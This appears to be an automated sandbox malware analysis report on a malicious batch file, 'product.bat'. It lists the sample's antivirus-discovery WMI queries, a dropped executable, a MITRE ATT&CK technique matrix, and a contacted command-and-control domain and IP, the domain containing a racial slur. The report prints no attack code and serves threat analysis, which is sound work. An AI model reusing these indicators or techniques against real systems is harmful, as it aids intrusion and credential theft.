Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140002300

Source: C:\Windows\System32\winlogon.exe

Code function: 15_2_000001CA7D1E8090 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

15_2_000001CA7D1E8090

Source: dllhost.exe, svchost.exe, 00000024.00000003.1553846007.000002A76AE6F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000003.1554106413.000002A76AE6F000.00000004.00000001.00020000.00000000.sdmp, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.36.dr

Binary or memory string: MsMpEng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Obfuscated Files or Information	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Timestomp	11 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	613 Process Injection	1 DLL Side-Loading	Security Account Manager	122 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	11 File Deletion	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	4 Rootkit	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Masquerading	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	613 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	2 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
product.bat	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\$nya-onimai2\IhrFKM.exe	100%	Joe Sandbox ML
C:\Windows\$nya-onimai2\IhrFKM.exe	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://osoft.co_2010-06X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
iam.nigga.dad	103.230.121.81	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3350244375.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416768127.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6xG	powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/P	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://osoft.co_2010-06X	dwm.exe, 00000012.00000000.1427635100.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000012.00000002.3415712940.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000001A.00000002.3406712131.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1477059978.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://go.microsoft.c	powershell.exe, 00000023.00000002.3351331204.00000213124B3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.microsoft.ctain	powershell.exe, 00000023.00000002.3351331204.00000213124B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp, Null.35.dr, Null.12.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000010.00000002.3350244375.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416768127.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.230.121.81	iam.nigga.dad	Hong Kong		62468	VPSQUANUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574670
Start date and time:	2024-12-13 13:30:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	24
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	product.bat
Detection:	MAL
Classification:	mal100.spyw.evad.winBAT@32/74@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 57 Number of non-executed functions: 339
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 40.126.53.13, 40.126.53.8, 20.190.181.6, 40.126.53.16, 20.190.181.5, 40.126.53.15, 20.190.181.23, 40.126.53.17, 20.189.173.20, 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, time.windows.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: product.bat

Simulations

Behavior and APIs

Time	Type	Description
07:31:08	API Interceptor	2x Sleep call for process: WMIC.exe modified
07:31:11	API Interceptor	17492x Sleep call for process: powershell.exe modified
08:46:27	API Interceptor	34381x Sleep call for process: svchost.exe modified
08:46:51	API Interceptor	2325151x Sleep call for process: winlogon.exe modified
08:46:52	API Interceptor	79442x Sleep call for process: lsass.exe modified
08:46:59	API Interceptor	2196890x Sleep call for process: dwm.exe modified
08:47:15	API Interceptor	1205x Sleep call for process: cmd.exe modified
08:47:15	API Interceptor	1329x Sleep call for process: conhost.exe modified
08:47:21	API Interceptor	97x Sleep call for process: dllhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.230.121.81	test.exe	Get hash	malicious	Unknown	Browse
103.230.121.81	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iam.nigga.dad	test.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
iam.nigga.dad	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
bg.microsoft.map.fastly.net	cv.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	XNizDtIArJ.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	jCpeLqH5mZ.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	rcNDmdah2W.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	HzZkjxWF3j.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	cGYA93A1qC.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	Rage.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	SLNA_Updated_Medical_Grant_Application(1).docx	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VPSQUANUS	test.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
	rebirth.dbg.elf	Get hash	malicious	Mirai, Okiru	Browse	103.252.20.25
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	103.122.177.128
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	154.91.52.33
	file.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	file.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	word.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	svchost.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	Chrome.exe	Get hash	malicious	XWorm	Browse	103.230.121.124

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Windows\$nya-onimai2\IhrFKM.exe	Hydra.ccLoader.bat	Get hash	malicious	Unknown	Browse
C:\Windows\$nya-onimai2\IhrFKM.exe	NhoqAfkhHL.bat	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 7796 bytes, 1 file, at 0x2c +A "pinrules.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	7796
Entropy (8bit):	7.971943145771426
Encrypted:	false
SSDEEP:	192:CPTIWKvNnUBBBL05O/b0evl2G6AXK+KMlYX82:CbevNUBDLlz0eN2dAXlKH
MD5:	FB60E1AFE48764E6BF78719C07813D32
SHA1:	A1DC74EF8495C9A1489DD937659B5C2875027E16
SHA-256:	EBF3E7290B8FD1E5509CAA69335251F22B61BAF3F9FF87B4E8544F3C1FEA279D
SHA-512:	92BAA53445EC1A6EC049AF875783619D255AB4A46241B456BD87AE0043C117740BD117406E2CF5440840C68D0C573CBA7B40F58587CE7796D254D0B06E9B7973
Malicious:	false
Preview:	MSCF....t.......,...................I........E.........J.R .pinrules.stl..>N.#..ECK.[.T...O......l.$.)V.a...v.d.H...&.D.YA,(+Y...A.......c]."ka-.XW..I.....w..\|..9.........{...\|d..v.T..w.TMZ.\|...).F.rtAm.....f......T........n.z.:.t&.} EH.S.)2...SP.../~.Q..d..".@.5..r(..M.Zs..~{...>...p.p.^....[/p..~.....@......f..E0....9.i...Ds..^.d...N.R@..P%..9... .4Z)...z..h...@.......C<.]6....([.c=.9..l.....@..4......f.......z.!..0.`Jp.."$I..?`......H...].2...$....9v1./g.&.aIX.A..A.w..p.*.`r.........'!e.. ..d...H.d.hu`.\!w.Z..E.$....$..\|1..@.OC!c.......%.....p.uxC.~@....`...#.~ .P.!.Gb`)i...L..0.-.K.....xRx.e"..@.....5T..JP^.9.....#aH.E.@2..H..f.H..K...+x..$.WM..H}....=....`.PD:.qgn........I.....]uX..q...D...]n.4..0..b!.....m"a.Lz...d..S%P.I11,..^..".+At..To\@K.....c.h.C.....=...H.Xa...r.A.I..@!..0..eV...\|.h..$."r..hL9TR..}.v%...4).H..[.....r..\|]..+5..Y..I..hN...O=u..8.}U...#S...R..KQ..A..w....X\|.....8b...GC.4..h....6gG.>..}.8....!ql..A..1..X.C.q.j....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.3022001159184358
Encrypted:	false
SSDEEP:	6:kK0sK81wNSWsCN+SkQlPlEGYRMY9z+4D1QuflIeyGIla1:8sK0FkPlE99Si1QyIeek
MD5:	FC28F580A9552D0645E7E76E1259FD25
SHA1:	F42EF0CE7EF040B9EF5EF599681DB9B30423B8B2
SHA-256:	EEE93C4EAF1B3FCB1C8AF3FA9E74C24150F41EAA0A7E11DC4ADD2DFE138604E5
SHA-512:	8444D2E7D8DC2BEF809769F439D9C04475D31F946BBAB174A61B9F5DC88100D1B7763FE7A09DDE7466FBFF7FF9DBC91B6A28CE197B5477A89C24DAAD415E7F75
Malicious:	false
Preview:	p...... .........w.heM..(....................................................... ........B@!........(....0."....t...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.p.i.n.r.u.l.e.s.s.t.l...c.a.b...".8.0.4.2.4.0.2.1.c.7.d.b.d.2.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	4.940954773740904
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smu9:9rib4ZIkjh4iUxsNYW6Ypib47
MD5:	BA7C69EBE30EC7DA697D2772E36A746D
SHA1:	DA93AC7ADC6DE8CFFED4178E1F98F0D0590EA359
SHA-256:	CFCE399DF5BE3266219AA12FB6890C6EEFDA46D6279A0DD90E82A970149C5639
SHA-512:	E0AFE4DF389A060EFDACF5E78BA6419CECDFC674AA5F201C458D517C20CB50B70CD8A4EB23B18C0645BDC7E9F326CCC668E8BADE803DED41FCDA2AE1650B31E8
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	5.437969087793142
Encrypted:	false
SSDEEP:	48:oizsSU4y4RQmFoUeCamfm9qr9t5/78NWR8lgxJZKaVEouYAgwd64rHLjtvk:oizlHyIFKL2O9qrh7KWBJ5Eo9Adrxk
MD5:	3D05665264FF5F9612A974D7E6FAF75D
SHA1:	EFAF5F2EB18DE5070947DE4B2B58F6F8ADF8C00E
SHA-256:	F807ED1F52729FE3DDB61E208FCEA8278FA7A7D6358C21055BC640E53E09A12A
SHA-512:	F2E2CB6A0248D6186B4EF1FDEFD532D82A663AE3494D6716A80B8134D7B6AEC542D12CD2282F038C6CE33C84E838880CE85927FADB868B46C275D2D806AB18CA
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1t1p1fl2.2no.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aekovv1.sfn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3rdmcc3.ib5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftpz1pup.jm4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

